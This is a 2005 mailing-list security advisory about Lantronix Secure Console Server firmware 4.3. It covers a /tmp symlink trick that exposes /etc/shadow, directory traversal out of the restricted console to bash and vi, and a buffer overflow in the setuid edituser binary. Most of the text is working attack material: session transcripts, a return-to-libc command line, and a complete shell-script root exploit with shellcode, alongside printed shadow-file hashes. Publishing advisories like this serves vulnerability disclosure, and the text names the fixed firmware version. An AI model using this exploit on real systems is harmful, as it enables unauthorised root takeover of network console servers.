[UNIX] Lantonix Secure Console Multiple Vulnerabilities (Buffer Overflow, Directory Traversal, Multiple Privileges Escalation)
SecuriTeam <[email protected]> 10 Aug 2005 15:08:03 +0200
| Newsgroups | gmane.comp.security.securiteam |
|---|---|
| Message-ID | <[email protected]> |
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Lantonix Secure Console Multiple Vulnerabilities (Buffer Overflow,
Directory Traversal, Multiple Privileges Escalation)
------------------------------------------------------------------------
SUMMARY
"The <http://www.lantronix.com/> SCS820 and SCS1620 are members of the
ActiveLinx family of secure console servers (SCS)."
Multiple security issues with Lantronix Secure Console Server allow
attackers to gain root access, execute arbitrary code, and tempering with
system settings.
DETAILS
Vulnerable Systems:
* Lantonix Secure Console Server Firmware version 4.3
Immune Systems:
* Lantonix Secure Console Server Firmware version 4.4
Privileges Escalation:
Attacker can overwrite root owned files due to read and write permission
for group and others in the /tmp/ directory.
Example:
[c0ntex@SCS1620 /tmp]$ ls -al
total 2
drwxrwxrwx 2 root root 1024 Oct 31 00:50 ./
drwxr-xr-x 16 root root 1024 Oct 20 11:38 ../
prw-rw-rw- 1 root root 0 Oct 31 00:14 listen_fifo_server|
[c0ntex@SCS1620 /tmp]$ mv listen_fifo_server listen_fifo_server.orig
[c0ntex@SCS1620 /tmp]$ ln -s /etc/shadow listen_fifo_server
Now user waits for system administrator to log in and do some work on
the console:
sysadmin>listen 01
Please wait for connection..
sysadmin-DEVICE_01>logout
[sysadmin@SCS1620 /tmp]$ su - root
Password:
su: incorrect password # odd......
From another window:
[root@SCS1620 /tmp]# head /etc/shadow
j /tmp/listen_fifo_5226;DEVICE_0121:0:99999:7:-1:-1:134550324
bin:*:11529:0:99999:7:::
daemon:*:11529:0:99999:7:::
adm:*:11529:0:99999:7:::
Privileges Escalation:
sysadmin>
sysadmin>
sysadmin>bash
sysadmin@SCS1620 /var/tmp$
sysadmin@SCS1620 /var/tmp$
sysadmin@SCS1620 /var/tmp$ cat /etc/shadow
cat: /etc/shadow: Permission denied
sysadmin@SCS1620 /var/tmp$
sysadmin@SCS1620 /var/tmp$
sysadmin@SCS1620 /var/tmp$ exit
sysadmin>../../../bin/cat /etc/shadow
root:$1$kjhfiusdhf9hs9f898ufs89ujfoj292020i2krp.
:12721:0:99999:7:-1:-1:134550324
bin:*:11529:0:99999:7:::
daemon:*:11529:0:99999:7:::
...
sysadmin>../../../bin/vi
~
~
~
~
~
:!cat /etc/shadow
root:$1$kjhsfsdfsdff9hs9f898ufs89ujfoj292020i2krp.
:12721:0:99999:7:-1:-1:134550324
bin:*:11529:0:99999:7:::
daemon:*:11529:0:99999:7:::
...
~
~
~
~
~
:q!
Run bash from the ci interface as sysadmin and from strace, we get the
following:
sysadmin>bash
...
14441 [400d8367] getuid() = 500
14441 [400f775b] setresuid(ruid 4294967295, euid 500, suid 4294967295) =
0
and via directory traversal:
sysadmin> ../../../bin/bash
...
14392 [400ab367] getuid() = 500
14392 [400ab3c7] getgid() = 100
14392 [400ab397] geteuid() = 0
14392 [400ab3f7] getegid() = 100
...
sysadmin>../../../home/sysadmin/snakeoil 10719
Attached process [10719] OK!
++ Stack regsiters for PID of [10719] ++
Stack Address of %eax = [0xfffffe00]
Stack Address of %ecx = [0xbffff100]
Stack Address of %edx = [0x00000000]
Stack Address of %ebx = [0xffffffff]
Stack Address of %esp = [0xbffff0c8]
Stack Address of %ebp = [0xbffff0e8]
Stack Address of %esi = [0x00000000]
Stack Address of %edi = [0xffffffff]
Stack Address of %eip = [0x400d79a9]
Injecting %eip register with [0xbffff2bb]
++ Stack regsiters for PID of [10719] ++
Stack Address of %eax = [0xfffffe00]
Stack Address of %ecx = [0xbffff100]
Stack Address of %edx = [0x00000000]
Stack Address of %ebx = [0xffffffff]
Stack Address of %esp = [0xbffff0c8]
Stack Address of %ebp = [0xbffff0e8]
Stack Address of %esi = [0x00000000]
Stack Address of %edi = [0xffffffff]
Stack Address of %eip = [0xbffff2bb]
Detached process [10719] OK!
bash#
Directory Traversal:
Lack of proper path validation allow attackers to exit a given jailed
path, and travel to the entire system.
Example:
c0ntex>?
Commands:
alias - List command aliases
cat - Print history buffer
clear - Clear port buffer
connections - show active connections
...
c0ntex>/bin/bash
/bin/bash: unknown command
c0ntex>
c0ntex>
c0ntex>../../../bin/bash
[c0ntex@SCS1620 /var/tmp]$
Buffer Overflow:
The edituser binary is used to edit a users configuration parameters found
in UserName.conf.
It lets you set escape sequences, server permissions and other basic user
permissions and features of the Secure Console Server.
During exploitation, edituser will strip \xff from the input, so you have
to use a retaddr that does not have the standard 0xbfff1234 type address.
By creating a large pad environment variable before running the test you
can nudge your shellcode to a nice location, such as 0xbffe1234, which
lets us get round this trivial obstacle. The return-to-libc method also
needs the stack nudge since the address for "/bin/sh" is stored in the
environment.
[sysadmin@SCS1620 /usr/local/bin]$ ls -al edituser
-rwsr-xr-x 1 root root 12912 Apr 15 2003 edituser
[sysadmin@SCS1620 /usr/local/bin]$ su - c0ntex
Password:
bash$ cp `which edituser` . && gdb -q ./edituser
no debugging symbols found)...gdb>
gdb>
gdb>r -b `perl -e 'printf "\x41" x 70'`
escape sequence is too long.
(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
________________________________________
eax:00000000 ebx:00000004 ecx:4001A94B edx:4010B140 eflags:00010246
esi:0804BC0C edi:00000000 esp:BFFEC748 ebp:41414141 eip:41414141
cs:0023 ds:002B es:002B fs:0000 gs:0000 ss:002B o d I t s Z a P c
[002B:BFFEC748]---------------------------------------------------------[stack]
BFFEC778 : 28 D6 04 08 6C C9 10 40 - 70 A8 00 40 94 F8 FE BF
(...l..@p..@....
BFFEC768 : 8C 9B 04 08 01 00 00 00 - 60 BC 04 08 08 BC 04 08
.......`.......
BFFEC758 : BC BC 04 08 F0 C7 FE BF - 01 00 00 00 48 F8 FE BF
...........H...
BFFEC748 : 41 41 41 41 41 41 41 41 - 41 41 00 08 FF FF FF FF
AAAAAAAAAA......
[002B:0804BC0C]---------------------------------------------------------[
data]
0804BC0C : 39 BA 01 40 2C BA 01 40 - 1E BA 01 40 10 BA 01 40
9..@,..@...@...@
0804BC1C : 00 00 00 00 00 00 00 00 - 03 00 00 00 00 00 00 00
...............
[0023:41414141]---------------------------------------------------------[
code]
0x41414141: Error while running hook_stop:
Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
gdb> q
//return-to-libc version for non-exec-stack systems
[c0ntex@SCS1620 ~]$ id -a
uid=501(c0ntex) gid=501(c0ntex) groups=501(c0ntex)
[c0ntex@SCS1620 ~]$ export STACKPAD=`perl -e 'print "A" x 65000'`
[c0ntex@SCS1620 /home/c0ntex]$ edituser -e `perl -e 'print "A" x
56'``printf "\x70\xe6\x05\x40\x70\xe6\x05\x40\x81\xfd\xfe\xbf"`
escape sequence is too long.
bash: /bin/bash/.bashrc: Not a directory
bash#
//general stack-smash version for older boxes
#!/bin/sh
# Lantronix Secure Console Server edituser root exploit by
# c0ntex - [email protected] | [email protected]
# Advisory @ http://www.open-security.org/advisories/11
#
# The Linux system supplied by Lantronix does not have gnu
# C compiler, so the exploit is provided as a shell script
# as such, you might need to change the address for
#
#[c0ntex@SCS1620 ~/exploit]$ sh edituserxp.sh
#
# **** *** *** *** *** *** *** *** ***
#[-] Local root exploit for edituser using return-to-libc
#[-] discovered and written by c0ntex | [email protected]
#Expect a root shell :-) -> escape sequence is too long.
#bash# id -a
#uid=0(root) gid=0(root) groups=100(users),0(root),200(admin)
#bash#
#
BUFFPAD="OPEN-SECURITY.ORG* *OPEN-SECURITY.ORG* *OPEN-SECURITY.ORG!"
NOPSLED=`perl -e 'print "\x41" x 1000'`
RETADDR=`printf "\x74\xc2\xfe\xbf"`
SETUID=`printf "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80"`
SHELL=`printf "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
printf"\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"`
STACKPAD=`perl -e 'print "A" x 65000'`
VULNAP=/usr/local/bin/edituser
VULNOP="-e"
export BUFFPAD NOPSLED RETADDR SETUID SHELL STACKPAD VULNAP VULNOP
printf "\n **** *** *** *** *** *** *** *** ***\n"
printf "[-] Local root exploit for edituser\n"
printf "[-] discovered and written by c0ntex\n"
if [ -f $VULNAPP ] ; then
printf "Expect a root shell :-) -> "; sleep 1
$VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL
success=$?
if [ $success -gt 0 ] ; then
printf "\nSeems something messed up, changing NOPBUF to
10000 and trying again!\n"
sleep 2
unset NOPSLED
NOPSLED=`perl -e 'print "\x41" x 10000'`
printf "Expect a root shell :-) -> "
$VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL
success=$?
if [ $success -gt 0 ] ; then
printf "\nAgain it failed, sorry you are on your
own now :(\n"
fi
fi
fi
#EOF
ADDITIONAL INFORMATION
The information has been provided by <mailto:[email protected]>
c0ntex.
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